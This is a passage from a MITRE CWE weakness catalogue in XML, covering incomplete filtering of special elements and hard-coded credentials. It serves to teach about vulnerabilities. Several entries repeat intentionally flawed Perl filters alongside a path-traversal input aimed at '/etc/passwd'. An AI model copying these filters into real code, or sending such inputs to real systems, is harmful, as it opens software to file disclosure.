						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>791</Relationship_Target_ID>
					          <!--Incomplete Filtering of Special Elements-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-2">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter "../" from the input. It then appends this result to
						the /home/user/ directory and attempts to read the file in the final
						resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression does not have the /g global match
							modifier, it only removes the first instance of "../" it comes across.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-23).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="793" Name="Only Filtering One Instance of a Special Element" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but only
					filters a single instance of a special element before sending it to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>Incomplete filtering of this nature may be location-dependent, as in only
						the first or last element is filtered.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>792</Relationship_Target_ID>
					          <!--Incomplete Filtering of One or More Instances of Special Elements-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-2">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter "../" from the input. It then appends this result to
						the /home/user/ directory and attempts to read the file in the final
						resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression does not have the /g global match
							modifier, it only removes the first instance of "../" it comes across.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-23).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="794" Name="Incomplete Filtering of Multiple Instances of Special Elements" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but does
					not filter all instances of a special element before sending it to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>Incomplete filtering of this nature may be applied to</Text>
					          <Block Block_Nature="List">
						            <Text>sequential elements (special elements that appear next to each other)
							or</Text>
						            <Text>non-sequential elements (special elements that appear multiple times
							in different locations).</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>792</Relationship_Target_ID>
					          <!--Incomplete Filtering of One or More Instances of Special Elements-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-2">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter "../" from the input. It then appends this result to
						the /home/user/ directory and attempts to read the file in the final
						resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression does not have the /g global match
							modifier, it only removes the first instance of "../" it comes across.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-23).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="795" Name="Only Filtering Special Elements at a Specified Location" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but only
					accounts for special elements at a specified location, thereby missing remaining
					special elements that may exist before sending it to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>A filter might only account for instances of special elements when they
						occur:</Text>
					          <Block Block_Nature="List">
						            <Text>relative to a marker (e.g. "at the beginning/end of string; the second
							argument"), or</Text>
						            <Text>at an absolute position (e.g. "byte number 10").</Text>
					          </Block>
					          <Text>This may leave special elements in the data that did not match the filter
						position, but still may be dangerous.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>791</Relationship_Target_ID>
					          <!--Incomplete Filtering of Special Elements-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-3">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter a "../" element located at the beginning of the input
						string. It then appends this result to the /home/user/ directory and
						attempts to read the file in the final resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/^\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression is only looking for an instance of "../"
							at the beginning of the string, it only removes the first "../" element.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-22).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="796" Name="Only Filtering Special Elements Relative to a Marker" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but only
					accounts for special elements positioned relative to a marker (e.g. "at the
					beginning/end of a string; the second argument"), thereby missing remaining
					special elements that may exist before sending it to a downstream
					component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>795</Relationship_Target_ID>
					          <!--Only Filtering Special Elements at a Specified Location-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-3">
					          <Intro_Text>The following code takes untrusted input and uses a regular
						expression to filter a "../" element located at the beginning of the input
						string. It then appends this result to the /home/user/ directory and
						attempts to read the file in the final resulting path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>$Username =~ s/^\.\.\///;</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the regular expression is only looking for an instance of "../"
							at the beginning of the string, it only removes the first "../" element.
							So an input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" stripped, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-22).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="797" Name="Only Filtering Special Elements at an Absolute Position" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives data from an upstream component, but only
					accounts for special elements at an absolute position (e.g. "byte number 10"),
					thereby missing remaining special elements that may exist before sending it to a
					downstream component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>795</Relationship_Target_ID>
					          <!--Only Filtering Special Elements at a Specified Location-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-4">
					          <Intro_Text>The following code takes untrusted input and uses a substring
						function to filter a 3-character "../" element located at the 0-index
						position of the input string. It then appends this result to the /home/user/
						directory and attempts to read the file in the final resulting
						path.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $Username = GetUntrustedInput();</Code>
							              <Code>if (substr($Username, 0, 3) eq '../') {</Code>
							              <Block>
								                <Code>$Username = substr($Username, 3);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>my $filename = "/home/user/" . $Username;</Code>
							              <Code>ReadAndSendFile($filename);</Code>
						            </Block>
						            <Text>Since the if function is only looking for a substring of "../" between
							the 0 and 2 position, it only removes that specific "../" element. So an
							input value such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>will have the first "../" filtered, resulting in:</Text>
						            <Block Block_Nature="Result">
							              <Code>../../etc/passwd</Code>
						            </Block>
						            <Text>This value is then concatenated with the /home/user/ directory:</Text>
						            <Block Block_Nature="Result">
							              <Code>/home/user/../../etc/passwd</Code>
						            </Block>
						            <Text>which causes the /etc/passwd file to be retrieved once the operating
							system has resolved the ../ sequences in the pathname. This leads to
							relative path traversal (CWE-22).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-12-04</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="798" Name="Use of Hard-coded Credentials" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains hard-coded credentials, such as a
					password or cryptographic key, which it uses for its own inbound authentication,
					outbound communication to external components, or encryption of internal
					data.</Description_Summary>
				        <Extended_Description>
					          <Text>Hard-coded credentials typically create a significant hole that allows an
						attacker to bypass the authentication that has been configured by the
						software administrator. This hole might be difficult for the system
						administrator to detect. Even if detected, it can be difficult to fix, so
						the administrator may be forced into disabling the product entirely. There
						are two main variations:</Text>
					          <Block>
						            <Text>Inbound: the software contains an authentication mechanism that checks
							the input credentials against a hard-coded set of credentials.</Text>
						            <Text>Outbound: the software connects to another system or component, and it
							contains hard-coded credentials for connecting to that component.</Text>
					          </Block>
					          <Text>In the Inbound variant, a default administration account is created, and a
						simple password is hard-coded into the product and associated with that
						account. This hard-coded password is the same for each installation of the
						product, and it usually cannot be changed or disabled by system
						administrators without manually modifying the program, or otherwise patching
						the software. If the password is ever discovered or published (a common
						occurrence on the Internet), then anybody with knowledge of this password
						can access the product. Finally, since all installations of the software
						will have the same password, even across different organizations, this
						enables massive attacks such as worms to take place.</Text>
					          <Text>The Outbound variant applies to front-end systems that authenticate with a
						back-end service. The back-end service may require a fixed password which
						can be easily discovered. The programmer may simply hard-code those back-end
						credentials into the front-end software. Any user of that program may be
						able to extract the password. Client-side systems with hard-coded passwords
						pose even more of a threat, since the extraction of a password from a binary
						is usually very simple.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>344</Relationship_Target_ID>
					          <!--Use of Invariant Value in Dynamically Changing Context-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>671</Relationship_Target_ID>
					          <!--Lack of Administrator Control over Security-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>257</Relationship_Target_ID>
					          <!--Storing Passwords in a Recoverable Format-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>812</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If hard-coded passwords are used, it is almost certain that malicious
							users will gain access to the account in question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can lead to the exposure of resources or functionality
							to unintended actors, possibly providing attackers with sensitive
							information or even execute arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>Credential storage in configuration files is findable using black box
							methods, but the use of hard-coded credentials for an incoming
							authentication routine typically involves an account that is not visible
							outside of the code.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated white box techniques have been published for detecting
							hard-coded credentials for incoming authentication, but there is some
							expert disagreement regarding their effectiveness and applicability to a
							broad range of methods.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness may be detectable using manual code analysis. Unless
							authentication is decentralized and applied throughout the software,
							there can be sufficient time for the analyst to find incoming
							authentication routines and examine the program logic looking for usage
							of hard-coded credentials. Configuration files could also be
							analyzed.</Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>For hard-coded credentials in incoming authentication: use monitoring
							tools that examine the software's process as it interacts with the
							operating system and the network. This technique is useful in cases when
							source code is unavailable, if the software was not developed by you, or
							if you want to verify that the build phase did not introduce any new
							weaknesses. Examples include debuggers that directly attach to the
							running process; system-call tracing utilities such as truss (Solaris)
							and strace (Linux); system activity monitors such as FileMon, RegMon,
							Process Monitor, and other Sysinternals utilities (Windows); and
							sniffers and protocol analyzers that monitor network traffic.</Text>
						            <Text>Attach the monitor to the process and perform a login. Using call
							trees or similar artifacts from the output, examine the associated
							behaviors and see if any of them appear to be comparing the input to a
							fixed string or value. </Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
